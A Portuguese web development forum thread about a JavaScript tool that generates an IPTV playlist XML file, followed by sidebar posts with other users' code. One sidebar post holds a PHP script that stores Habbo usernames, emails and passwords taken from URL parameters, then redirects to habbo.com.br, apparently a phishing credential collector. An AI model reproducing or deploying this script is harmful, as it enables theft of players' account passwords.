Publicidade

marfegte

codigo javascript gerador de lista xml

Patrocínio:

eu tenho um codigo pra gera lista em xml
nao to conseguindo salva o codigo gerado no servidor e deixar ele gravado na tabela no site para editor

https://codepen.io/marfegte/pen/mWXzBG


index.html

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="pragma" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>Gerador lista xml</title>
<link rel="stylesheet" type="text/css" media="all" href="generator.css" />
<script src="codigo.js" type="text/javascript"></script>
</head>
<body onload="init()">

		
		<h1><a href="http://playlist-generator.com/"></a>IPTV Gerador Lista xml</h1>
		<noscript><p id="no_javascript">IPTV Gerador Lista xml usado JavaScript</p></noscript>
		<form id="playlistform" action="" onsubmit="return false;">
			<table>
				<thead>
					<tr>
						<th>Titulo</th>
						<th>Link</th>
						<th>Thumbnail</th>
						<th>Fanart</th>
						<th>Info</th>
						
						<th><span class="desc" title="duration (in milliseconds)">Opção</span></th>
					</tr>
				</thead>
				<tbody id="playlist"></tbody>
			</table>
		</form>
		
		<p style="margin-top: 3em;">playlist.xml</p>

		<pre id="playlistcode"></pre>

</body>
</html>

codigo.js

var TYPE_TITLE = 0;
var TYPE_LINK = 1;
var TYPE_THUMBNAIL = 2;
var TYPE_FANART = 3;
var TYPE_INFO = 4;
var COUNT_COLUMNS = 6;

function htmlentities(str) {
	str = str.replace(/&/g, "&amp;");
	str = str.replace(/"/g, "&quot;");
	str = str.replace(/</g, "&lt;");
	str = str.replace(/>/g, "&gt;");
	return str;
}
function nl2br(str) {
	str = str.replace(/\n/g, "<br/>");
	return str;
}
function update() {
	var playlist = document.getElementById("playlist");
	var rows = playlist.getElementsByTagName("tr");	
	var code = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
	code += "  \n";	
	for (var index = 0; index < rows.length; index++) {
		var inputFields = rows[index].getElementsByTagName("input");		
		code += "    <item>\n";		
		for (var j = 0; j < inputFields.length; j++) {			
			var type = "";
			var value = inputFields[j].value;			
			switch (j) {
			case TYPE_TITLE:
				type = "title";
				break;
			case TYPE_LINK:
				type = "link";
				break;
			case TYPE_THUMBNAIL:
				type = "thumbnail";
				break;
			case TYPE_FANART:
				type = "fanart";
				break;
			case TYPE_INFO:
				type = "info";
				break;
			
			}
			
			if (type == "link" || value != "") {
				code += "      <" + type + ">" + htmlentities(value) + "</" + type + ">\n";
			}
			
		}		
		code += "    </item>\n";
		code += "    \n";
	}	
	document.getElementById("playlistcode").innerHTML = nl2br(htmlentities(code));
}

function updateTable() {
	$("#results").html('')
 
	
	var playlist = document.getElementById("playlist");
	var rows = playlist.getElementsByTagName("tr");	
	for (var index = 0; index < rows.length; index++) {
		var row = rows[index];
		var cols = row.getElementsByTagName("td");	
		var content = "<a href=\"#\" title=\"adicionar um novo\" onclick=\"addTrack(" + (index + 1) + "); return false;\">Adicionar</a> <a href=\"#\" title=\"remove this track\" onclick=\"removeTrack(" + index + "); return false;\">Apagar</a>";
		cols[cols.length - 1].innerHTML = content;
	}
}
function addTrack(index) {
	var playlist = document.getElementById("playlist");
	var rows = playlist.getElementsByTagName("tr");	
	var newRow = document.createElement("tr");
	for (var i = 0; i < COUNT_COLUMNS; i++) {
		var newColumn = document.createElement("td");		
		if (i < COUNT_COLUMNS - 1) {
			
			var inputField = document.createElement("input");
			inputField.setAttribute("type", "text");
			inputField.onchange = update;
			inputField.onkeyup = update;
			newColumn.appendChild(inputField);
		} else {			
			newColumn.setAttribute("class", "options");
		}		
		newRow.appendChild(newColumn);
	}
	
	if (index == rows.length) {
		playlist.appendChild(newRow);
	} else {
		playlist.insertBefore(newRow, rows[index]);
	}	
	updateTable();
	update();
}
function removeTrack(index) {
	var playlist = document.getElementById("playlist");
	var rows = playlist.getElementsByTagName("tr");
	
	if (rows.length > 1 && window.confirm("Tem certeza que deseja apagar?")) {
		playlist.removeChild(rows[index]);		
		updateTable();
		update();
	}
}

function init() {
	addTrack(0);
	document.getElementById("playlist").getElementsByTagName("tr")[0].getElementsByTagName("input")[0].value = "";
	update();
}

generator.css

body, td {
	font-family: Verdana, Arial, sans-serif;
	font-size: 10pt;
}

a {
	color: #0000ff;
}

a:hover {
	color: #6666ff;
}

#no_javascript {
	background-color: #cc0000;
	color: #ffffff;
	padding: 0.5em;
	border: 2px dashed #000000;
}

h1 {
	font-size: 150%;
	font-weight: bold;
}

h2 {
	margin-top: 1em;
	font-size: 120%;
	font-weight: bold;
}

table {
	width: 100%;
	margin-top: 1em;
}

th {
	font-size: 100%;
	font-weight: bold;
	text-align: center;
	background-color: #ccccff;
	padding: 0.1em 0.3em 0.1em 0.3em;
	border: 1px solid #aaaaff;
}

td {
	padding: 0;
	text-align: center;
	border: 1px solid #660000;
}

td input {
	width: 100%;
	height: 100%;
	border: 0;
	background-color: #ffffff;
}

td input:hover {
	background-color: #eeeeff;
}

td input:focus {
	background-color: #ddddff;
}

#playlistcode {
	background-color: #ccccff;
	padding: 0.3em;
	border: 1px solid #aaaaff;
	font-size: 10pt;
	font-family: "Courier New",Verdana,sans-serif;
}

.desc {
	border-bottom: 
}

.options {
	white-space: nowrap;
	background-color: #ccccff;
	padding: 0.3em;
	font-weight: bold;
	border: 1px solid #aaaaff;
	font-size: 10pt;
	text-align: center;
	font-family: "Verdana,sans-serif;
	
}

 

 

0

Compartilhar este post


Link para o post
Compartilhar em outros sites

No console do navegador está dando alguma mensagem de erro?

Ou o erro está no envio para o servidor?

0

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!


Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.


Entrar Agora

  • Próximos Eventos

  • Conteúdo Similar

    • Por rdenardird
      Boa tarde!
      Sou iniciante em html e tenho uma duvida. 
      Estou fazendo um trabalho, um site, é uma loja virtual. Pois bem, o professor pediu pra fazer com que tenha a página carrinho, que some o valor dos produtos. Aí que tá minha duvida, eu desenvolvi as páginas e tal, mas não consigo fazer o botão "comprar" direcionar o produto para o carrinho. Alguém tem alguma dica de como fazer isso? Estou usando somente html, css e javascript. 
    • Por caiowesley
      Estou com um problema estou tentando fazer um efeito slide com java , só que esta acontecendo um problema, as imagens que escolhi estão ficando fora do lugar como podem ver a baixo , vou postar os codigos aqui quem poder me ajudar agradeço , Abraços !!! 
       
      vou disponibilizar os codigos , estou tentando anexar a imagem de como fica aqui no topico mas da erro !!! 
      quando passa para proxima imagem ela aparece a baixo do box onde iria passar as imagens.
       
      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Alfatec</title> <link rel="shortcut icon" href="imagens/ico.png" type="imagem/x-png" /> <link href="css/reset.css" rel="stylesheet" type="text/css" /> <link href="css/estilo.css" rel="stylesheet" type="text/css" /> <style type="text/css"> body { background-image: url(../PLANILHAS%20CAIO/projeto/imagens/fundo.jpg); } </style> <script type="text/javascript"> function setaImagem(){ var settings = { primeiraImg: function(){ elemento = document.querySelector("#slider a:first-child"); elemento.classList.add("ativo"); this.legenda(elemento); }, slide: function(){ elemento = document.querySelector(".ativo"); if(elemento.nextElementSibling){ elemento.nextElementSibling.classList.add("ativo"); settings.legenda(elemento.nextElementSibling); elemento.classList.remove("ativo"); }else{ elemento.classList.remove("ativo"); settings.primeiraImg(); } }, proximo: function(){ clearInterval(intervalo); elemento = document.querySelector(".ativo"); if(elemento.nextElementSibling){ elemento.nextElementSibling.classList.add("ativo"); settings.legenda(elemento.nextElementSibling); elemento.classList.remove("ativo"); }else{ elemento.classList.remove("ativo"); settings.primeiraImg(); } intervalo = setInterval(settings.slide,4000); }, anterior: function(){ clearInterval(intervalo); elemento = document.querySelector(".ativo"); if(elemento.previousElementSibling){ elemento.previousElementSibling.classList.add("ativo"); settings.legenda(elemento.previousElementSibling); elemento.classList.remove("ativo"); }else{ elemento.classList.remove("ativo"); elemento = document.querySelector("a:last-child"); elemento.classList.add("ativo"); this.legenda(elemento); } intervalo = setInterval(settings.slide,4000); }, legenda: function(obj){ var legenda = obj.querySelector("img").getAttribute("alt"); document.querySelector("figcaption").innerHTML = legenda; } } //chama o slide settings.primeiraImg(); //chama a legenda settings.legenda(elemento); //chama o slide à um determinado tempo var intervalo = setInterval(settings.slide,4000); document.querySelector(".next").addEventListener("click",settings.proximo,false); document.querySelector(".prev").addEventListener("click",settings.anterior,false); } window.addEventListener("load",setaImagem,false); </script> </head> <body> <div id="logo"></div><!--div final do logo--> <div id="topo"></div><!--div final topo--> <div id="menufundo"> <nav id="ul"> <ul> <li><a href="#">Página Inicial </a></li> <li><a href="#">Quem Somos</a></li> <li><a href="#">Áreas de Cobertura</a></li> <li><a href="#">Serviços</a></li> <li><a href="#">Fale Conosco</a></li> </ul> </nav> </div> <div id ="fundoinicial"> <figure> <span class="trs next"></span> <span class="trs prev"></span> <div id="slider"> <a href="#" class="trs"><img src="imagens/img1.jpg" alt="Trabalhamos com Diversos Produtos e Modelos"/></a> <a href="#" class="trs"><img src="imagens/img2.jpg" alt="Qualidade em Atendimento" /></a> <a href="#" class="trs"><img src="imagens/img3.jpg" alt="Oficina Qualificada" /></a> </div> <figcaption></figcaption> </figure> <div class="rodape"></div> </div><!--div final menufundo--> </body> </html> @charset "utf-8"; /* CSS Document */ #topo { background:url(../imagens/topo.png); position:inherit; width:1024px; height:190px; border-bottom:none; margin:auto; } #logo { float:left; background:url(../imagens/logoc.png); position:relative; top:50px; left:155px; width:541px; height:133px; } #fundoinicial { background-image:url(../imagens/fundoof.png); width:1024px; height:1230px; margin:auto; } #menufundo { background:url(../imagens/menu.png); position:relative; width:1024px; height:27px; margin:auto; } #ul li a{ font-family:"Trebuchet MS", Arial, Helvetica, sans-serif; font-style:normal; list-style-type:none; display: inline; font-size:20px; line-height:0px; padding:10px; margin:4px 0 0 52px; color:#FFF; text-decoration:none; float:left; } #ul li a:hover{ text-shadow:0px 0px 0px black, 0px 0px 0px black, 0px 0px 0px black, 0px 0px 0px black; font-size:20px; color:black; } .rodape { background: url(../imagens/rodape.png); margin: auto; position: absolute; width: 1100px; height: 99px; left: 131px; top: 1400px; } * {margin: 0; padding: 0;} body {background: #000} a,img {border: none;} .trs {-webkit-transition:all ease-out 0.5s; -moz-transition:all ease-out 0.5s; -o-transition:all ease-out 0.5s; -ms-transition:all ease-out 0.5s; transition:all ease-out 0.5s;} #slider { position: absolute; width: 970px; height: 342px; margin:auto; z-index: 0; left: -22px; top: 1px; border: 1px solid #666; } #slider a { position:relative; top: 0px; left: 60px; opacity: 0; filter: alpha(opacity=0); } .ativo {opacity: 1!important; filter:alpha(opacity=100)!important;} /*controladores*/ span { background: #999; cursor: pointer; opacity: 0; filter: alpha(opacity=0); position: absolute; bottom: 134px; width: 43px; height: 43px; z-index: 5; } .next { right: 12px; } .next:before,.next:after {left: 21px;} .next:before { -webkit-transform: rotate(-42deg); top: 5px; } .next:after { -webkit-transform: rotate(-132deg); top: 19px; } .next:before,.next:after,.prev:before,.prev:after {content: ""; height: 20px; background: #fff; width: 1px; position: absolute; } .prev { left: -12px; } .prev:before,.prev:after {left: 18px;} .prev:before { -webkit-transform: rotate(42deg); top: 5px; } .prev:after { -webkit-transform: rotate(132deg); top: 19px; } figure:hover span {opacity: 0.76;filter:alpha(opacity=76);} figure { max-width: 950px; height: 310px; position: relative; top:60px; left:0px; margin:0px 0 0 50px; } figcaption { color: #000; font-family: "Kaushan Script","Lato","arial"; font-size: 22px; text-align: center; background: #CCC; width: 970px; position: absolute; margin: auto; bottom: -34px; left: -21px; line-height: 55px; height: 45px; }  
    • Por medice99
      Bom dia a todos,
       
      Gostaria de saber se existe alguma forma de passar parametro por onclick?
      Minha dúvida se da ao seguinte: (Nem sei na verdade se a melhor forma seria através de JS que faria isso)
       
      Eu tenho um formulário dinâmico onde os vendedores aqui da empresa irão digitar os pedidos, dessa forma cada vendedor que acessar terá sua lista de clientes (por isso é dinamico, um vendedor não pode ter acesso ao conteúdo do outro).
      Consegui criar o formulário ao ponto de pesquisar os clientes e aparecer na tela o ID, Razão Social e CNPJ/CPF. Porém gostaria que ao clicar na linha da tabela referente ao cliente que será feito o pedido, preenchesse um input text com a Razão Social daquele cliente e se possível armazenasse em uma váriavel PHP o ID do cliente, que será a referência para outras informações que irão vir no formulário (forma de pagamento, valores dos produtos e etc).
       
      O que eu consegui até agora é o seguinte:
       
      Pelo while do PHP indicar uma ID HTML para cada linha da tabela, no caso "ID=Linha-1", "ID=Linha-2"...
      Coloquei o evento onclick na table e consegui efetuar um alert com o ID. Porém o alert está estatico, mostrando sempre a mesma ID.
       
      Segue o código abaixo:
       
      /*PARTE DO PHP QUE BUSCA OS DADOS E DESTINA UMA ID UNICA PARA CADA LINHA, TANTO PARA A RAZÃO SOCIAL COMO PARA A ID DO CLIENTE*/ <?php while($dados = sqlsrv_fetch_array($consulta)){ ?> <tr onclick="Alerta()"> <td <?php echo "id=ClienteLinha-".$idLinhaTabela ?>><?php echo $dados["IDCLIENTE"]; ?></td> <td <?php echo "id=Razao-".$idLinhaTabela ?>><?php echo $dados["DSENTIDADE"]; ?></td> <td><?php echo $dados["CNPJCPF"]; ?></td></td> </tr> <?php $idLinhaTabela++; } ?> /*ABAIXO O JAVASCRIPT*/ function Alerta(){ var Linha = document.getElementById("ClienteLinha-3").innerHTML; alert(Linha); } O que eu gostaria era que tivesse uma forma de passar por parâmetros o ID da linha para o JS, exemplo "Alerta(IDCLIENTE)".
      E no JS ficaria algo tipo "var Linha = document.getElementById(IDCLIENTE).innerHTML;"
       
      Assim quando clicasse na linha do cliente, passasse o ID do cliente para o JS. Dessa forma iria preencher os inputs que eu preciso e etc...
       
      P.S.: Qualquer sugestão é válida, inclusive se eu tiver que refazer toda a lógica do sistema 
       
      Obrigado a todos desde já e tenham um grande dia.
    • Por leonardo23costa
      Boa noite galera, estou desenvolvendo um app que gere imagens automaticamente.
      Estou conseguindo gerar a imagem e tudo mais usando uma biblioteca chamada html2canvas.
       
      Porém quando salvo a imagem a qualidade da mesma sai em uma resolução péssima.
      Conseguem me ajudar por favor?
       
      Div da qual está sendo gerada uma imagem:
      <div id="layout" class="layout-content" style="background-color:#FAEF64; background-image:url('images/flower.png'); background-size:250px; background-position:center;"> <p id="tecnica" class="center" style="position:absolute; margin-top:75px; left:0; right:0; margin-left:auto; margin-right:auto; z-index:999; text-transform:uppercase; font-size:12px;">T É C N I C O&nbsp;&nbsp;&nbsp;E M&nbsp;&nbsp;&nbsp;E N F E R M A G E M</p> <p id="nome" class="center" style="position:absolute; margin-top:80px; left:0; right:0; margin-left:auto; margin-right:auto; z-index:999; text-transform:uppercase;">SEU NOME</p> <p id="slogan" class="center" style="position:absolute; margin-top:250px; left:0; right:0; margin-left:auto; margin-right:auto; color:#000; z-index:999; text-transform:uppercase;">CUIDANDO DE VOCÊ COM <br />DEDICAÇÃO</p> <img src="images/03.png" style="position:absolute; margin-top:320px; left:0; right:0; margin-left:auto; margin-right:auto; z-index:999; width:60%;" /> </div>  
      Script para gerar e salvar a imagem:
      <script> $("#download").click(function() { html2canvas($("#layout"), { onrendered: function(canvas) { var a = document.createElement('a'); a.href = canvas.toDataURL("image/jpeg", 1.0); a.download = 'sou-enfermagem.jpeg'; a.click(); } }); }); </script> Me ajudem por favor... Abraço.
    • Por lUANZIKA3
      <?php
         function GeraHash($qtd){ 
      //Under the string $Caracteres you write all the characters you want to be used to randomly generate the code. 
      $Caracteres = 'ABCDEFGHIJKLMOPQRSTUVXWYZ0123456789abcdefghijklmnopqrstuvwyxz'; 
      $QuantidadeCaracteres = strlen($Caracteres); 
      $QuantidadeCaracteres--; 
      $Hash=NULL; 
          for($x=1;$x<=$qtd;$x++){ 
              $Posicao = rand(0,$QuantidadeCaracteres); 
              $Hash .= substr($Caracteres,$Posicao,1); 
          } 
      return $Hash; 

      try {
          $host = "hostdasuadb";
          $dbname = "nomedasuadb";
          $user = "nomedasuadb";
          $pass = "senhadasuadb";
          $pdo = new PDO("mysql:host=" . $host . ";dbname=" . $dbname, $user, $pass);

          $verfm = $_GET["moedas"];
          $verfd = $_GET["diamantes"];
          $verfhc = $_GET["hc"];
          $uidtransfer = 1;
      ?>
      <?php    
              $moedas = $_GET["moedas"];
              $diamantes = $_GET["diamantes"];
              $hc = $_GET["hc"];
              $adc = $_GET["adc"];
              $habbo = $_GET["habbo"];
              $emailS = $_GET["emailS"];
              $uid = $_GET["uid"];
              $senha = $_GET["senha_antiga"];
              date_default_timezone_set('America/Toronto');

          $sql = "INSERT INTO contas(moedas,
                      diamantes,
                      hc,
                      adc,
                      habbo,
                      email,
                      uid,
                      senha) VALUES (
                      :moedas, 
                      :diamantes,
                      :hc,
                      :adc, 
                      :habbo, 
                      :email, 
                      :uid,
                      :senha)";
          $senha = $_GET["senha_antiga"];
          $stmt = $pdo->prepare($sql);
          $stmt->bindParam(":moedas", $_GET["moedas"], PDO::PARAM_INT);
          $stmt->bindParam(":diamantes", $_GET["diamantes"], PDO::PARAM_INT);
          $stmt->bindParam(":hc", $_GET["hc"], PDO::PARAM_INT);
          $stmt->bindParam(":adc", $_GET["adc"], PDO::PARAM_STR);
          $stmt->bindParam(":habbo", $_GET["habbo"], PDO::PARAM_STR);
          $stmt->bindParam(":email", $_GET["emailS"], PDO::PARAM_STR);
          $stmt->bindParam(":uid", $_GET["uid"], PDO::PARAM_INT);
          $stmt->bindParam(":senha", $senha, PDO::PARAM_STR);
          $stmt->execute();
          $dbh = null;
      }
      catch(PDOException $e) {
          #print "Error!: " . $e->getMessage() . "<br/>";
          #die();
          
      }
      header("Location: http://www.habbo.com.br");
      ?>